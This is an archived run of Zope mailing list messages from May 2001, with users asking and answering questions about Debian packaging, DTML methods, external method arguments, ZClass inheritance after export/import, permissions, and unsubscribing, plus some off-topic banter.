(Jason C. Leach) Date: Wed, 9 May 2001 09:20:20 -0700 (PDT) Subject: [Zope] Debian compile err. Message-ID: hi, I get this debian compile error when I try and whip up the packages, anyone know what could be the cause: arnet:/tmp/zope-2.3.2# ls Extensions ZServer import lib var z2.py LICENSE.txt debian inituser pcgi w_pcgi.py zpasswd.py README.txt doc inst utilities wo_pcgi.py garnet:/tmp/zope-2.3.2# debian/rules binary dh_testdir make: dh_testdir: Command not found make: *** [build-stamp] Error 127 garnet:/tmp/zope-2.3.2# Thanks, j. ...................... ..... Jason C. Leach ... University College of the Cariboo. .. From nuno@fccn.pt Wed May 9 17:16:19 2001 From: nuno@fccn.pt (nuno) Date: Wed, 9 May 2001 17:16:19 +0100 Subject: [Zope] view management screens Message-ID: <01eb01c0d8a3$61f0be10$940788c1@rccn.net> Hi all ! I have a small question for you guys ! Why the external methods need to have view management screens to run ? In my zope structure the anonymous user must have view management screens security checked to run successfully, still that is a big gap in security cause anonymous users can do a /manage_main and access my zope ! any hints ?? regards to you all From fritz.mesedilla@summitmedia.com.ph Wed May 9 17:27:28 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 00:27:28 +0800 Subject: [Zope] Homepage In-Reply-To: <3AF96E7D.78366A3@nipltd.com> Message-ID: hahaha! but most of the websites in my email signature are in zope with zeo. www.femalenetwork.com, www.cosmo.com.ph, www.smartparenting.com.ph, www.shopcrazy.com.ph the others will be zoped in months time. i admit i'm quite new in my job. i just graduated college. that's why i'm still struggling with zope and work. my company has also just started to use zope. i just need help for a load balancer and a secure remote logging. but that's for another list, right? *smirks* i'm thankful for people like you to help me. this is a great list. i think it has evolved into a community. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: Chris Withers [mailto:chrisw@nipltd.com] Sent: Thursday, May 10, 2001 12:21 AM To: fritz.mesedilla@summitmedia.com.ph Cc: zope@zope.org Subject: Re: [Zope] Homepage Fritz Mesedilla wrote: > > our corporate email scanner found a vbs script in this email. please be > advised. Yay! :-) > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph Wow, it'd be well cool if some of those sites were hosted in Zope... *grinz* Chris From renfro@tntech.edu Wed May 9 17:48:58 2001 From: renfro@tntech.edu (Mike Renfro) Date: Wed, 9 May 2001 11:48:58 -0500 Subject: [Zope] Debian compile err. In-Reply-To: ; from jleach@mail.ocis.net on Wed, May 09, 2001 at 09:20:20AM -0700 References: Message-ID: <20010509114858.B23322@ch208d.cae.tntech.edu> On Wed, May 09, 2001 at 09:20:20AM -0700, Jason C. Leach wrote: > garnet:/tmp/zope-2.3.2# debian/rules binary > dh_testdir > make: dh_testdir: Command not found > make: *** [build-stamp] Error 127 > garnet:/tmp/zope-2.3.2# You don't have debhelper installed. Read /tmp/zope-2.3.2/debian/control, particularly the Build-Depends: line. You'll need those extra packages (possibly more, as packagers don't necessarily keep their Build-Depends in sync) installed to build the package. Trim the CC: line if you reply, as I'm sure the rest of the Zope list doesn't really need to know all this. -- Mike Renfro / R&D Engineer, Center for Manufacturing Research, 931 372-3601 / Tennessee Technological University -- renfro@tntech.edu From chrisw@nipltd.com Wed May 9 17:53:10 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 09 May 2001 17:53:10 +0100 Subject: [Zope] Homepage References: Message-ID: <3AF975F6.E8C99881@nipltd.com> Fritz Mesedilla wrote: > > hahaha! but most of the websites in my email signature are in zope with zeo. > > www.femalenetwork.com, www.cosmo.com.ph, www.smartparenting.com.ph, > www.shopcrazy.com.ph > > the others will be zoped in months time. *grinz* If only you could get www.fhm.com to be Zope hosted, that way I could browse the, urm, pictures, and have the exucse that I'm 'testing out Zope' :-) > i'm thankful for people like you to help me. this is a great list. i think > it has evolved into a community. Well, this is just one way that the Zope community expresses itself. Tehre are websites and the conferences are really good fun if you ca never make it alongto one :-) cheers, Chris (who doesn't approve of long sig files, check out how long mine is:) From iap@y2fun.com Wed May 9 18:08:12 2001 From: iap@y2fun.com (iap_y2fun.com) Date: Thu, 10 May 2001 01:08:12 +0800 Subject: [Zope] getPhysicalPath of a DTML Method? References: Message-ID: <026901c0d8aa$a4851940$6601a8c0@y2fun.com> Hi, Acquisition is a very good feature. But it's hard for me to find out which DTML Method is on working. After several levels of inheritance by subclass from parent ZClasses. Some methods of the same name were created in different level. Then it becomes to be hard to know which one was called. Frankly, I just spent lots of time to figure out one of the "ghost method" which is of "old" content should be deleted before. Can someone give me a hint? How to "getPhysicalPath" of a DTML Method? BTW, 1. The "method.this().absolute_url(1)" work-around dosen't work for me. 2. The "_.hasattr(aq_explicit,'method')" returns 1, but (in an external method) self._delOb('method') raises "NotFound" exception. Thanks Iap From fritz.mesedilla@summitmedia.com.ph Wed May 9 18:05:02 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 01:05:02 +0800 Subject: [Zope] Homepage In-Reply-To: <3AF975F6.E8C99881@nipltd.com> Message-ID: oh but ours is the Philippine site. http://www.fhm.com.ph is just a country site but it is a licensed site from http://www.fhm.com soon, fhm.com.ph will probably be zoped too. but in the meantime, why don't you visit us or the uk site and view the top 100 women voted so far. we don't have much pictures yet. we're still gathering more. *smirks* yeah you're right about sigs. some people have given comments about it. but hey, i'm just new in the working world. i gotta advertise for potential employers. hahahaha!!!! to all zope users: thank you for making zope easier to use... by helping each other out. i will also try to assist others with their problems. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: Chris Withers [mailto:chrisw@nipltd.com] Sent: Thursday, May 10, 2001 12:53 AM To: fritz.mesedilla@summitmedia.com.ph Cc: zope@zope.org Subject: Re: [Zope] Homepage Fritz Mesedilla wrote: > > hahaha! but most of the websites in my email signature are in zope with zeo. > > www.femalenetwork.com, www.cosmo.com.ph, www.smartparenting.com.ph, > www.shopcrazy.com.ph > > the others will be zoped in months time. *grinz* If only you could get www.fhm.com to be Zope hosted, that way I could browse the, urm, pictures, and have the exucse that I'm 'testing out Zope' :-) > i'm thankful for people like you to help me. this is a great list. i think > it has evolved into a community. Well, this is just one way that the Zope community expresses itself. Tehre are websites and the conferences are really good fun if you ca never make it alongto one :-) cheers, Chris (who doesn't approve of long sig files, check out how long mine is:) From jasonic@nomadicsltd.com Wed May 9 18:24:29 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 9 May 2001 13:24:29 -0400 Subject: Try this devel version, was: Re: [Zope] [zshell] ANN: 0.5 with wildcard expansion (fwd) References: Message-ID: <00f301c0d8ac$e826b800$c3090740@megapathdsl.net> > OK, anyway attached to this message you'll find an external method to test > jaxml in Zope again ! Thanks. your test taught me nice new jaxml syntax tricks anyway.. BTW Do you have any larger examples of using jaxml I could look at? > PS: did the 0.6beta1 I've posted this morning solve the problem ? No. same behavior now I am looking at how your zshellscript mechanism works as this seeems to me what is not getting through. ./Jason From gmilliken@farm9.com Wed May 9 18:27:07 2001 From: gmilliken@farm9.com (George Milliken) Date: Wed, 9 May 2001 10:27:07 -0700 Subject: [Zope] Homepage In-Reply-To: Message-ID: OK, how do I get off this list? -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Fritz Mesedilla Sent: Wednesday, May 09, 2001 10:05 AM To: Chris Withers; zope@zope.org Subject: RE: [Zope] Homepage oh but ours is the Philippine site. http://www.fhm.com.ph is just a country site but it is a licensed site from http://www.fhm.com soon, fhm.com.ph will probably be zoped too. but in the meantime, why don't you visit us or the uk site and view the top 100 women voted so far. we don't have much pictures yet. we're still gathering more. *smirks* yeah you're right about sigs. some people have given comments about it. but hey, i'm just new in the working world. i gotta advertise for potential employers. hahahaha!!!! to all zope users: thank you for making zope easier to use... by helping each other out. i will also try to assist others with their problems. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: Chris Withers [mailto:chrisw@nipltd.com] Sent: Thursday, May 10, 2001 12:53 AM To: fritz.mesedilla@summitmedia.com.ph Cc: zope@zope.org Subject: Re: [Zope] Homepage Fritz Mesedilla wrote: > > hahaha! but most of the websites in my email signature are in zope with zeo. > > www.femalenetwork.com, www.cosmo.com.ph, www.smartparenting.com.ph, > www.shopcrazy.com.ph > > the others will be zoped in months time. *grinz* If only you could get www.fhm.com to be Zope hosted, that way I could browse the, urm, pictures, and have the exucse that I'm 'testing out Zope' :-) > i'm thankful for people like you to help me. this is a great list. i think > it has evolved into a community. Well, this is just one way that the Zope community expresses itself. Tehre are websites and the conferences are really good fun if you ca never make it alongto one :-) cheers, Chris (who doesn't approve of long sig files, check out how long mine is:) _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Wed May 9 18:35:33 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 9 May 2001 13:35:33 -0400 Subject: [Zope] Homepage References: Message-ID: <02e301c0d8ae$73584e10$8e17a8c0@kurtz> To get off the list, see the bottom of the form at http://lists.zope.org/mailman/listinfo/zope (which is noted at the bottom of every message sent to the list). - C ----- Original Message ----- From: "George Milliken" To: ; "Chris Withers" ; Sent: Wednesday, May 09, 2001 1:27 PM Subject: RE: [Zope] Homepage > OK, how do I get off this list? > > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Fritz > Mesedilla > Sent: Wednesday, May 09, 2001 10:05 AM > To: Chris Withers; zope@zope.org > Subject: RE: [Zope] Homepage > > > oh but ours is the Philippine site. > > http://www.fhm.com.ph is just a country site but it is a licensed site from > http://www.fhm.com > > soon, fhm.com.ph will probably be zoped too. but in the meantime, why don't > you visit us or the uk site and view the top 100 women voted so far. we > don't have much pictures yet. we're still gathering more. *smirks* > > yeah you're right about sigs. some people have given comments about it. but > hey, i'm just new in the working world. i gotta advertise for potential > employers. hahahaha!!!! > > to all zope users: > thank you for making zope easier to use... by helping each other out. i will > also try to assist others with their problems. > > > Fritz Mesedilla > Systems Administrator > > "Ooops! Save your work, everyone. FAST!" > -------------------------------------------------------------------------- -- > Summit Interactive, Inc. > > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > -------------------------------------------------------------------------- -- > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > -------------------------------------------------------------------------- -- > +Basta Ikaw Lord > > -----Original Message----- > From: Chris Withers [mailto:chrisw@nipltd.com] > Sent: Thursday, May 10, 2001 12:53 AM > To: fritz.mesedilla@summitmedia.com.ph > Cc: zope@zope.org > Subject: Re: [Zope] Homepage > > > Fritz Mesedilla wrote: > > > > hahaha! but most of the websites in my email signature are in zope with > zeo. > > > > www.femalenetwork.com, www.cosmo.com.ph, www.smartparenting.com.ph, > > www.shopcrazy.com.ph > > > > the others will be zoped in months time. > > *grinz* If only you could get www.fhm.com to be Zope hosted, that way I > could > browse the, urm, pictures, and have the exucse that I'm 'testing out Zope' > :-) > > > i'm thankful for people like you to help me. this is a great list. i think > > it has evolved into a community. > > Well, this is just one way that the Zope community expresses itself. Tehre > are > websites and the conferences are really good fun if you ca never make it > alongto > one :-) > > cheers, > > Chris (who doesn't approve of long sig files, check out how long mine is:) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From chrisw@nipltd.com Wed May 9 18:30:15 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 09 May 2001 18:30:15 +0100 Subject: [Zope] Homepage References: Message-ID: <3AF97EA7.FB10AD97@nipltd.com> George Milliken wrote: > > OK, how do I get off this list? RTFM? > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope The bits above are a big clue :-P Chris From astlj@hotmail.com Wed May 9 18:34:58 2001 From: astlj@hotmail.com (Tommy Johnson) Date: Wed, 09 May 2001 09:34:58 -0800 Subject: [Zope] Homepage Message-ID: I thought he was joking... ;> Tommy >To get off the list, see the bottom of the form at >http://lists.zope.org/mailman/listinfo/zope (which is noted at the bottom >of >every message sent to the list). > >- C > > > OK, how do I get off this list? _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From jasonic@nomadicsltd.com Wed May 9 18:44:28 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 9 May 2001 13:44:28 -0400 Subject: [Zope] Homepage References: <3AF975F6.E8C99881@nipltd.com> Message-ID: <010101c0d8af$b2b8b620$c3090740@megapathdsl.net> From: "Chris Withers" others will be zoped in months time. > > *grinz* If only you could get www.fhm.com to be Zope hosted, that way I could > browse the, urm, pictures, and have the exucse that I'm 'testing out Zope' :-) yes lovely girls. I had never looked at FHM site. I think the 'Zoomify' technology they use is great. [as seen with Win98se IE5.5] http://www.zoomify.com/zoomster/search/zoomsterSearch.asp Preparing a Zopesite for artists to upload ditigal artwork. Meeting nect week wiht some printers who have large format + fine-art qualtity inkjets to offer a range of netart-on-demand custom print services. It's a good Zope/ZEO application. At them moment working with LocalFS, ExtFile/Image & Photo product so see hwo we can offer efficent visual broswing of work. Having PIL behind Zope is very cool. Zoomify is very impressive though. They have a nice drag'n'drop interface too http://www.zoomify.com/zoomster/account/zoomsterCreate.asp Does anyone have any ideas how to do this best with Zope and/or some other openSource cross platform garphics toolkits? How could one do a Zoomify with PIL ? thanks ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From fritz.mesedilla@summitmedia.com.ph Wed May 9 18:40:02 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 01:40:02 +0800 Subject: [Zope] Homepage In-Reply-To: Message-ID: oh you're the guy who wrote 'subscribe' on the list. wait let's see... you can try this: http://groups.yahoo.com/group/zope/join?referer=1 or visit the link at the bottom of every mail: http://lists.zope.org/mailman/listinfo/zope hope that helps. goog luck! Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: George Milliken [mailto:gmilliken@farm9.com] Sent: Thursday, May 10, 2001 1:27 AM To: fritz.mesedilla@summitmedia.com.ph; Chris Withers; zope@zope.org Subject: RE: [Zope] Homepage OK, how do I get off this list? -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Fritz Mesedilla Sent: Wednesday, May 09, 2001 10:05 AM To: Chris Withers; zope@zope.org Subject: RE: [Zope] Homepage oh but ours is the Philippine site. http://www.fhm.com.ph is just a country site but it is a licensed site from http://www.fhm.com soon, fhm.com.ph will probably be zoped too. but in the meantime, why don't you visit us or the uk site and view the top 100 women voted so far. we don't have much pictures yet. we're still gathering more. *smirks* yeah you're right about sigs. some people have given comments about it. but hey, i'm just new in the working world. i gotta advertise for potential employers. hahahaha!!!! to all zope users: thank you for making zope easier to use... by helping each other out. i will also try to assist others with their problems. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: Chris Withers [mailto:chrisw@nipltd.com] Sent: Thursday, May 10, 2001 12:53 AM To: fritz.mesedilla@summitmedia.com.ph Cc: zope@zope.org Subject: Re: [Zope] Homepage Fritz Mesedilla wrote: > > hahaha! but most of the websites in my email signature are in zope with zeo. > > www.femalenetwork.com, www.cosmo.com.ph, www.smartparenting.com.ph, > www.shopcrazy.com.ph > > the others will be zoped in months time. *grinz* If only you could get www.fhm.com to be Zope hosted, that way I could browse the, urm, pictures, and have the exucse that I'm 'testing out Zope' :-) > i'm thankful for people like you to help me. this is a great list. i think > it has evolved into a community. Well, this is just one way that the Zope community expresses itself. Tehre are websites and the conferences are really good fun if you ca never make it alongto one :-) cheers, Chris (who doesn't approve of long sig files, check out how long mine is:) _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From fritz.mesedilla@summitmedia.com.ph Wed May 9 18:41:48 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 01:41:48 +0800 Subject: [Zope] Homepage In-Reply-To: Message-ID: i doubt it. he already sent like two email messages with 'unsubscribe' in it. oh, i'm getting sleepy. i wrote 'subscribe' in my other email. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Tommy Johnson Sent: Thursday, May 10, 2001 1:35 AM To: zope@zope.org Subject: Re: [Zope] Homepage I thought he was joking... ;> Tommy >To get off the list, see the bottom of the form at >http://lists.zope.org/mailman/listinfo/zope (which is noted at the bottom >of >every message sent to the list). > >- C > > > OK, how do I get off this list? _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From iap@y2fun.com Wed May 9 19:02:51 2001 From: iap@y2fun.com (iap_y2fun.com) Date: Thu, 10 May 2001 02:02:51 +0800 Subject: [Zope] Will the inheritance relationship will be preserved after export/import? References: <026901c0d8aa$a4851940$6601a8c0@y2fun.com> Message-ID: <000401c0d8b2$43af15a0$6601a8c0@y2fun.com> Hi, Suppose Product P1 is a subclass of Product P, and M is a method of P, so that we can call both P.M and P1.M Then, P and P1 were exported from Data1.fs (Host A) , and imported to Data2.fs (Host B). Now, let's move to the Host B, and modified the content of M. and create an instance of Product P as p and Product P1 as p1. It should be that p.M and p1.M execute the same code (new content o f M). But it is not. p1.M execute the old code of M which is the same as it used to be in Host A. The interitance relationship seems broken after export/import between different ZODB. How can I rebuid the relationship between P and P1? Thanks. Iap From alet@unice.fr Wed May 9 19:07:35 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 9 May 2001 20:07:35 +0200 Subject: Try this devel version, was: Re: [Zope] [zshell] ANN: 0.5 with wildcard expansion (fwd) In-Reply-To: <00f301c0d8ac$e826b800$c3090740@megapathdsl.net>; from jasonic@nomadicsltd.com on Wed, May 09, 2001 at 01:24:29PM -0400 References: <00f301c0d8ac$e826b800$c3090740@megapathdsl.net> Message-ID: <20010509200735.A412@nordine.ateur> On Wed, May 09, 2001 at 01:24:29PM -0400, Jason Cunliffe wrote: > > OK, anyway attached to this message you'll find an external method to test > > jaxml in Zope again ! > > Thanks. > your test taught me nice new jaxml syntax tricks anyway.. > > BTW Do you have any larger examples of using jaxml I could look at? it was written for: http://cortex.unice.fr/~jerome/scanerrlog/ > now I am looking at how your zshellscript mechanism works as this seeems to > me what is not getting through. an idea: replace the computed form action= in showPrompt by an action="zshell" and tell me the results. bye, Jerome From glenfant@bigfoot.com Wed May 9 19:16:00 2001 From: glenfant@bigfoot.com (Gilles Lenfant) Date: Wed, 9 May 2001 20:16:00 +0200 Subject: [Zope] Get attributes of a doc in another folder Message-ID: <005501c0d8b4$1b10e9a0$0301a8c0@provence> C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0052_01C0D8C4.DD465EA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi from a newbie, I got a dtml method at "/project" folder from which I want to add = attributes to a dtml doc at "/project/folder/adocument" I tried to embed 2 consecutive like following but it don't = work. Did I miss something ? This adds the attribute to folder when I want it in adocument . I'm lost somewhere... TIA Gilles ------=_NextPart_000_0052_01C0D8C4.DD465EA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi from a newbie,
 
I got a dtml method at "/project" = folder from=20 which I want to add attributes to a dtml doc at=20 "/project/folder/adocument"
I tried to embed 2 consecutive = <dtml-with>=20 like following but it don't work. Did I miss something ?
 
<dtml-with folder>
<dtml-call = "manage_addDTMLDocument(id=3Daname,title=3Dprenom+'=20 '+nom,file=3D'')">
<dtml-with = expr=3D"aname">
<dtml-call=20 "manage_addProperty(id=3D'alias',value=3Dalias,type=3D'string')">
&= lt;/dtml-with>
</dtml-with>
 
This adds the attribute to folder when = I want it in=20 adocument .
 
I'm lost somewhere...
 
TIA
 
Gilles
------=_NextPart_000_0052_01C0D8C4.DD465EA0-- From slinkp23@yahoo.com Wed May 9 19:23:35 2001 From: slinkp23@yahoo.com (Paul Winkler) Date: Wed, 09 May 2001 14:23:35 -0400 Subject: [Zope] External method default arg weirdness References: <15096.16266.317370.302060@lindm.dm> Message-ID: <3AF98B27.788D2D61@yahoo.com> Dieter Maurer wrote: > > Paul Winkler writes: > > This is with Zope 2.2.2. > > If I give a default argument to the external method, and call it > > from a dtml method, the default gets used even if I pass the > > argument. > > > > Example: Try creating two external methods and calling them like > > this from standard_html_footer. > > > > > > > > > > > > Here are the two external method definitions: > > > > def my_ext_method1(id): > > return "
%s" % id > > > > def my_ext_method2(id="oops"): > > return "
%s" % id > > > > > > > > Anybody else get this? Why does it do that? > I know this only, if the first parameter is called "self". > > We use default parameters regularly (in Zope 2.1.6) and > they work as expected. Uhhh... duh, you're right. The methods I was actually using have "self" as first parameter. But I don't understand why that affects the rest of the parameters??? Very un-pythonic. -- ................... paul winkler .................... custom calendars & printing: http://www.calendargalaxy.com A member of ARMS: http://www.reacharms.com home page: http://www.slinkp.com From mps_@hotmail.com Wed May 9 20:38:04 2001 From: mps_@hotmail.com (matt standish) Date: Wed, 9 May 2001 14:38:04 -0500 Subject: [Zope] locked out Message-ID: Ok, now I've done it. Yes I am a newbie. I was editing my permissions and then tried to relogin. Zope wont accept any user names, including the emergency user. I tried running zpasswd.py and restarting ZOPE but I still have the same problem. Is there any way to reset the permissions back to the default install? Thanks for any help you can provide. -Matt From jburton@scw.org Wed May 9 20:40:54 2001 From: jburton@scw.org (Joel Burton) Date: Wed, 9 May 2001 15:40:54 -0400 (EDT) Subject: [Zope] locked out In-Reply-To: Message-ID: On Wed, 9 May 2001, matt standish wrote: > Ok, now I've done it. Yes I am a newbie. I was editing my permissions and > then tried to relogin. Zope wont accept any user names, including the > emergency user. I tried running zpasswd.py and restarting ZOPE but I still > have the same problem. Is there any way to reset the permissions back to > the default install? Thanks for any help you can provide. I don't think you can lock out the emergency user. Have you added a user to the access file? using zpasswd.py? If so, can you tell us the exact steps you're using? -- Joel Burton Director of Information Systems, Support Center of Washington From mps_@hotmail.com Wed May 9 20:44:55 2001 From: mps_@hotmail.com (matt standish) Date: Wed, 9 May 2001 14:44:55 -0500 Subject: [Zope] locked out References: Message-ID: Disregard...I just got in.... Sorry about the premature post. ----- Original Message ----- From: "Joel Burton" To: "matt standish" Cc: Sent: Wednesday, May 09, 2001 14:40 Subject: Re: [Zope] locked out > On Wed, 9 May 2001, matt standish wrote: > > > Ok, now I've done it. Yes I am a newbie. I was editing my permissions and > > then tried to relogin. Zope wont accept any user names, including the > > emergency user. I tried running zpasswd.py and restarting ZOPE but I still > > have the same problem. Is there any way to reset the permissions back to > > the default install? Thanks for any help you can provide. > > I don't think you can lock out the emergency user. Have you added a user > to the access file? using zpasswd.py? If so, can you tell us the exact > steps you're using? > > -- > Joel Burton > Director of Information Systems, Support Center of Washington > > From mps_@hotmail.com Wed May 9 20:46:41 2001 From: mps_@hotmail.com (matt standish) Date: Wed, 9 May 2001 14:46:41 -0500 Subject: [Zope] locked out References: Message-ID: Disregard this message, premature post.....sorry ----- Original Message ----- From: "matt standish" To: Sent: Wednesday, May 09, 2001 14:38 Subject: [Zope] locked out > Ok, now I've done it. Yes I am a newbie. I was editing my permissions and > then tried to relogin. Zope wont accept any user names, including the > emergency user. I tried running zpasswd.py and restarting ZOPE but I still > have the same problem. Is there any way to reset the permissions back to > the default install? Thanks for any help you can provide. > > -Matt > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From dieter@handshake.de Wed May 9 19:45:46 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 9 May 2001 20:45:46 +0200 (CEST) Subject: [Zope] Problem w/ lines-->List in edit form In-Reply-To: <216614541@toto.iv> Message-ID: <15097.36954.59172.823061@lindm.dm> sean.upton@uniontrib.com writes: > ... filtering empty sequence elements ... As you are in a Python product and not hampered by (sometimes stupid) Zope security restrictions, there probably is nothing simpler than: l= filter(None,l) This removes any false element, empty elements in your case. Dieter From dieter@handshake.de Wed May 9 20:03:50 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 9 May 2001 21:03:50 +0200 (CEST) Subject: [Zope] the neverending constructors In-Reply-To: <765135545@toto.iv> Message-ID: <15097.38038.329243.312837@lindm.dm> Marco Mariani writes: > ... many constructors ... > Is there a way to avoid declaring everything under the sun? You may be able to automate this, through a function "getConstructors". Of course, you will probably need to obey some conventions to give this function a chance to find the constructors. Dieter From dieter@handshake.de Wed May 9 19:43:01 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 9 May 2001 20:43:01 +0200 (CEST) Subject: [Zope] zeo database In-Reply-To: <674251136@toto.iv> Message-ID: <15097.36789.617779.577654@lindm.dm> sean.upton@uniontrib.com writes: > However, doesn't Python impose some sort of limit as well? Anyone have a > number? Does this depend on the architecture of the machine (i.e. 64 vs. 32 > bit)? Python does not impose a serious limit (independent on the word size). If the C library and the underlying operating system can handle files larger than 2 GB, then Python can do, too. If you upgrade your C library for large file support, you may need to reconfigure and regenerate Python as the file access interfaces are not binary compatible. Dieter From dieter@handshake.de Wed May 9 20:00:28 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 9 May 2001 21:00:28 +0200 (CEST) Subject: [Zope] login, permission and REQUEST env In-Reply-To: <776560388@toto.iv> Message-ID: <15097.37836.984824.762680@lindm.dm> Stefan Berthold writes: > (1) For article management I need to login some users but this (let's > call them) editors don't need the permission to view management screens > (they will use html-formulars to manage their articles)... till now I > couldn't find a way to login users without this permission (e.g. > through a regular html-form and a dtml method). I do not understand what you say here. You do not need "View management screens" for authentication. > (2) Owners of dtml documents usually have the permission to change > and delete their documents... but how can I discover if somebody have > this (implicitly) given Owner role? First question: Why do you want to do this? I would instead check, whether I was entitled to do some operation. This could use: ,)"> ... Second question: Did you look at the embedded Zope help -> API Reference -> Authenticated User You will find there a method "hasRole". > (3) (Not just) For a kind of skin technology I need parameters that > are user specific (REQUEST variables)... to set and analyse them may be > no problem - but how can include new parameters to the old URL without > deleting the old parameters? What I need is a way to add parameters to > the REQUEST environment... The REQUEST 